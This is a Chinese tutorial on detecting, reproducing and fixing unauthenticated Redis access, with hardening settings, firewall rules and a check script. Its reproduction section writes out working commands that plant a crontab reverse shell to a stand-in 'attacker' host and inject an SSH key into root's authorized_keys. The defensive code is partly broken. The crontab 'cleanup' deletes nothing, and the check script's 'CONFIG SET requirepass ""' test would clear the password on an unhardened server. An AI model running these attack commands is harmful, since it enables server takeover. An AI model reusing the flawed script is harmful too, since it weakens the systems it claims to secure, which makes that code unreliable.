【安全与故障排查】04-Redis未授权访问漏洞修复与防御体系建立
Redis 未授权访问漏洞修复与防御体系建立
专栏:安全 & 故障排查
难度:进阶
标签:Redis安全未授权访问漏洞修复安全防护
前言
Redis 未授权访问是危害极大的漏洞,轻则数据泄露,重则通过写入 crontab 或 SSH 公钥实现服务器控制。本文覆盖检测、修复和防御全流程。
一、漏洞验证
# 测试是否存在未授权访问redis-cli-htarget_ip-p6379ping# 返回 PONG 说明无认证保护# 查看信息(攻击者可以看到)redis-cli-htarget_ip info server二、攻击场景复现
# 场景1:通过Redis写入crontab反弹shellredis-cli-htarget_ip configsetdir/var/spool/cron/ redis-cli-htarget_ip configsetdbfilename root redis-cli-htarget_ipsetcronshell"\n\n*/1 * * * * bash -i >& /dev/tcp/attacker/4444 0>&1\n\n"redis-cli-htarget_ip save# 场景2:写入SSH公钥redis-cli-htarget_ip configsetdir/root/.ssh/ redis-cli-htarget_ip configsetdbfilename authorized_keys redis-cli-htarget_ipsetssh_key"ssh-rsa ATTACKER_PUBLIC_KEY"redis-cli-htarget_ip save三、修复步骤
# 1. 立刻检查并清理被写入的恶意文件crontab-l|grep-v"tcp/"ls-la/root/.ssh/authorized_keys# 2. 设置强密码认证cat>>/etc/redis/redis.conf<<'EOF' requirepass YourStrongPassword123! EOFredis-cli configsetrequirepass"YourStrongPassword123!"# 3. 绑定内网IP,不监听 0.0.0.0sed-i's/^bind.*/bind 127.0.0.1 10.0.0.1/'/etc/redis/redis.conf# 4. 禁用危险命令(rename到随机字符串或直接disable)cat>>/etc/redis/redis.conf<<'EOF' rename-command CONFIG "" rename-command FLUSHALL "" rename-command FLUSHDB "" rename-command DEBUG "" rename-command SLAVEOF "" EOF# 5. 使用低权限用户运行Redisuseradd-r-s/bin/false redischown-Rredis:redis /var/lib/redis# systemd service中指定 User=redis# 6. 重启Redissystemctl restart redis四、防火墙加固
# Redis端口只允许内网访问firewall-cmd--permanent--add-rich-rule="rule family='ipv4' source address='10.0.0.0/8' port port='6379' protocol='tcp' accept"firewall-cmd--permanent--add-rich-rule="rule family='ipv4' port port='6379' protocol='tcp' drop"firewall-cmd--reload五、定期检查脚本
#!/bin/bash# redis-security-check.shecho"=== Redis 安全检查 ==="# 检查认证ifredis-cliping2>/dev/null|grep-qPONG;thenecho"[危险] Redis 无认证保护!"elseecho"[安全] Redis 需要认证"fi# 检查监听地址redis-cli config getbind2>/dev/null# 检查危险命令是否禁用redis-cli CONFIG SET requirepass""2>&1|grep-q"ERR"&&\echo"[安全] CONFIG命令已禁用"||echo"[警告] CONFIG命令未禁用"结语:Redis 安全的四条铁律:设密码、绑内网IP、禁危险命令、低权限运行。只要做到这四条,未授权访问漏洞就不复存在。
